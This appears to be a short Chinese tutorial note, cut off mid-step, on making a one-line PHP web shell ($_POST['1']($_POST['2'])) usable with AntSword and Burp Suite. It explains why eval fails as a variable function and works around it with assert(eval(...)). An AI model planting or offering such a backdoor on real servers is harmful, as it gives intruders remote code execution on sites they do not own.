工具:蚁剑、burpsuite
一句话木马:
<?php
$_POST['1']($_POST['2']);
1、开始:我们想着把POST中的1传成:eval,这样就变成了eval($_POST['2]),此时就变成一个完美的一句话木马。
但是:这样的方式连接失败
失败原因:eval是一个语言构造而不是一个函数,不能被可变函数调用
PHP支持可变函数的概念,如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
2、这时,我们尝试使用assert函数测试
但是依然没有实现
3、这时我们将1提交为assert,2提交为eval($_POST[2])进行测试,这样提交参数相当于将PHP中代码变成了assert(eval($_POST[2]))</